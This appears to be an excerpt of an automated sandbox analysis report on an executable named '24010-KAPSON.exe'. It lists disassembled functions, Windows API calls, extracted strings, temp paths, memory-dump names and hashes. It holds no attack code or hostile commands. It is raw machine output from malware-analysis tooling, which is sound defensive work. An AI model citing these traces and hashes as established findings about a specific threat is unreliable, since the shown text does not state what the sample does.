Instruction Fuzzy Hash: DBA001B6604500ABDE129F61EF09D0ABB72EBA4B02B418579A28590034CA365961FB1D

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055A4: lstrlenW.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(Completed,00403040,00403040,Completed,00000000,00000000,00000000), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(Completed,Completed), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Part of subcall function 00405B25: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,Error launching installer), ref: 00405B4E
Part of subcall function 00405B25: CloseHandle.KERNEL32(?), ref: 00405B5B

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB

Part of subcall function 004069DC: WaitForSingleObject.KERNEL32(?,00000064), ref: 004069ED
Part of subcall function 004069DC: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A0F

Part of subcall function 00406483: wsprintfW.USER32 ref: 00406490

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 3b027b10370687066aff627a9daaf9b894cd3689f6fd0251b44e389546f4c192
Instruction ID: 66341155deae8ad644fb6ace1de356795f4bfdbac14da0be535d1b9f500edd4f
Opcode Fuzzy Hash: 3b027b10370687066aff627a9daaf9b894cd3689f6fd0251b44e389546f4c192
Instruction Fuzzy Hash: C0F09032905112EBCB20AFE5998499E73B4DF00318B21443BE912B61D1C7BC0E428A6E

Non-executed Functions

Function 00404983 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049D2
SetWindowTextW.USER32(00000000,?), ref: 004049FC
SHBrowseForFolderW.SHELL32(?), ref: 00404AAD
CoTaskMemFree.OLE32(00000000), ref: 00404AB8
lstrcmpiW.KERNEL32(Space required: ,00423748,00000000,?,?), ref: 00404AEA
lstrcatW.KERNEL32(?,Space required: ), ref: 00404AF6
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B08

Part of subcall function 00405B86: GetDlgItemTextW.USER32(?,?,00000400,00404B3F), ref: 00405B99

Part of subcall function 004067EB: CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24010-KAPSON.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
Part of subcall function 004067EB: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
Part of subcall function 004067EB: CharNextW.USER32(?,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24010-KAPSON.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
Part of subcall function 004067EB: CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24010-KAPSON.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404BCB
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BE6

Part of subcall function 00404D3F: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
Part of subcall function 00404D3F: wsprintfW.USER32 ref: 00404DE9
Part of subcall function 00404D3F: SetDlgItemTextW.USER32(?,00423748), ref: 00404DFC

Strings

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske, xrefs: 00404AD3
H7B, xrefs: 00404A80
A, xrefs: 00404AA6
Space required: , xrefs: 00404AE4, 00404AE9, 00404AF4

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske$H7B$Space required:
API String ID: 2624150263-269099370
Opcode ID: dd814ec643b45a90e93cf69e5cb033f89cff98d2f4c91cecb2b3846f87e86dba
Instruction ID: 8299be71a3cc8d15b5ba292867d4bcc1bae11f059afa92557538f40593a335a7
Opcode Fuzzy Hash: dd814ec643b45a90e93cf69e5cb033f89cff98d2f4c91cecb2b3846f87e86dba
Instruction Fuzzy Hash: 8EA193B1900209ABDB11AFA5DD45AAFB7B8EF84314F11803BF601B62D1D77C9941CB6D

Function 004021A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402221

Strings

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske, xrefs: 00402261

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske
API String ID: 542301482-3922531963
Opcode ID: 727e628b3d14577055a662e7e022ea88eb8e9afcfb0bed066c02eee15678e9af
Instruction ID: 3a0b8fa6945436ea0e4cb0e043321d643ed21fd69d70badd8d93d2b131f18866
Opcode Fuzzy Hash: 727e628b3d14577055a662e7e022ea88eb8e9afcfb0bed066c02eee15678e9af
Instruction Fuzzy Hash: C9412775A00209AFCF00DFE4C989A9E7BB6FF48304B20457AF915EB2D1DB799981CB54

Function 00402902 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402911

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 5eb24c927bdef39049cc05fcf9c910cce0503ebcb4c526406b9828bf1dbd733c
Instruction ID: e1d09971df8357d0b6d26b0e23bbdd0a86073f761c05595cd8bb911c59de634c
Opcode Fuzzy Hash: 5eb24c927bdef39049cc05fcf9c910cce0503ebcb4c526406b9828bf1dbd733c
Instruction Fuzzy Hash: C9F08C71A00104AFC700DFA4ED499AEB378EF10314F70857BE916F21E0D7B89E119B2A

Function 00404651 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004046EF
GetDlgItem.USER32(?,000003E8), ref: 00404703
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404720
GetSysColor.USER32(?), ref: 00404731
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040473F
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040474D
lstrlenW.KERNEL32(?), ref: 00404752
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040475F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404774
GetDlgItem.USER32(?,0000040A), ref: 004047CD
SendMessageW.USER32(00000000), ref: 004047D4
GetDlgItem.USER32(?,000003E8), ref: 004047FF
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404842
LoadCursorW.USER32(00000000,00007F02), ref: 00404850
SetCursor.USER32(00000000), ref: 00404853
LoadCursorW.USER32(00000000,00007F00), ref: 0040486C
SetCursor.USER32(00000000), ref: 0040486F
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040489E
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B0

Strings

N, xrefs: 004047ED
Space required: , xrefs: 0040482E

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$Space required:
API String ID: 3103080414-565303846
Opcode ID: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction ID: 9740ae806e86bdd9a5d1823962a5ed5927fd13c96e858ba55e5d087808badbab
Opcode Fuzzy Hash: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction Fuzzy Hash: EE6193B1900209FFDB10AF60DD85E6A7B69FB84314F00853AFA05B62D1D7789D51CF98

Function 00406188 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406323,?,?), ref: 004061C3
GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 004061CC

Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

GetShortPathNameW.KERNEL32(?,004275E8,00000400), ref: 004061E9
wsprintfA.USER32 ref: 00406207
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406242
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406251
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406289
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 004062DF
GlobalFree.KERNEL32(00000000), ref: 004062F0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062F7

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,C:\Users\user\Desktop\24010-KAPSON.exe,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Strings

[Rename], xrefs: 00406271, 00406283
uB, xrefs: 004061DE
mB, xrefs: 004061B1
uB, xrefs: 004061E5
%ls=%ls, xrefs: 004061FD

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1370db5916d635a3eaa8287a3a8568cfa6b7ad2c16bbfcffe5a040e030d3314f
Instruction ID: 390cd084817c4cf50855a9647c10840f2cfe6cacc919d204b2e4a530669b52c0
Opcode Fuzzy Hash: 1370db5916d635a3eaa8287a3a8568cfa6b7ad2c16bbfcffe5a040e030d3314f
Instruction Fuzzy Hash: FB312231200715BBC2207B659E49F5B3A9CEF41754F16007FBA42F62C2EA3CD82586BD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction ID: 0f43a076eda42f240989ba3bcaaa7122e90b548761b3bfdbbaf4c3cca9648f62
Opcode Fuzzy Hash: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction Fuzzy Hash: CF418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7389A55DFA4

Function 00406579 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(Space required: ,00000400), ref: 004066BA
GetWindowsDirectoryW.KERNEL32(Space required: ,00000400,00000000,Completed,?,004055DB,Completed,00000000), ref: 004066CD
SHGetSpecialFolderLocation.SHELL32(004055DB,00000000,00000000,Completed,?,004055DB,Completed,00000000), ref: 00406709
SHGetPathFromIDListW.SHELL32(00000000,Space required: ), ref: 00406717
CoTaskMemFree.OLE32(00000000), ref: 00406722
lstrcatW.KERNEL32(Space required: ,\Microsoft\Internet Explorer\Quick Launch), ref: 00406748
lstrlenW.KERNEL32(Space required: ,00000000,Completed,?,004055DB,Completed,00000000), ref: 004067A0

Strings

Completed, xrefs: 0040659E
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040668A
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406742
Space required: , xrefs: 004065A3, 0040667E, 00406685, 00406689, 004066A3, 004066A4, 004066B9, 004066CC, 004066E8, 00406713, 00406747, 0040674D, 00406769, 0040677C, 00406799, 0040679F, 004067AB, 004067DE

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Completed$Software\Microsoft\Windows\CurrentVersion$Space required: $\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-86986951
Opcode ID: 461394275e41b2543b5fd82fcf6b9832f1e7dc77c54885fbf13ec40e6163d1f3
Instruction ID: 6f5f2b99d90c7511299ba9a64344c15edde84ad84532d0df03b232db96096e81
Opcode Fuzzy Hash: 461394275e41b2543b5fd82fcf6b9832f1e7dc77c54885fbf13ec40e6163d1f3
Instruction Fuzzy Hash: BA613671601111ABDF209F14DD80AAE37A5AF10718F52403FE943B72D0DB3E5AA6CB5D

Function 004067EB Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24010-KAPSON.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
CharNextW.USER32(?,00000000,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24010-KAPSON.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24010-KAPSON.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

Strings

*?|<>/":, xrefs: 0040683D
"C:\Users\user\Desktop\24010-KAPSON.exe", xrefs: 004067EB
C:\Users\user\AppData\Local\Temp\, xrefs: 004067EC

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\24010-KAPSON.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1396578279
Opcode ID: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction ID: fdbe35b52bffc5d77a346742aeba0a27372f18d7f8de2c65e324d6b3b11dfc69
Opcode Fuzzy Hash: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction Fuzzy Hash: 8211932780261255DB303B559C44AB762E8AF94790B56C83FED8A732C0EB7C4C9286BD

Function 004044F9 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404516
GetSysColor.USER32(00000000), ref: 00404554
SetTextColor.GDI32(?,00000000), ref: 00404560
SetBkMode.GDI32(?,?), ref: 0040456C
GetSysColor.USER32(?), ref: 0040457F
SetBkColor.GDI32(?,?), ref: 0040458F
DeleteObject.GDI32(?), ref: 004045A9
CreateBrushIndirect.GDI32(?), ref: 004045B3

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: b56a63bd10d9b88d704488fa4fc448251793e5de010e462820c933ca6d0d38e3
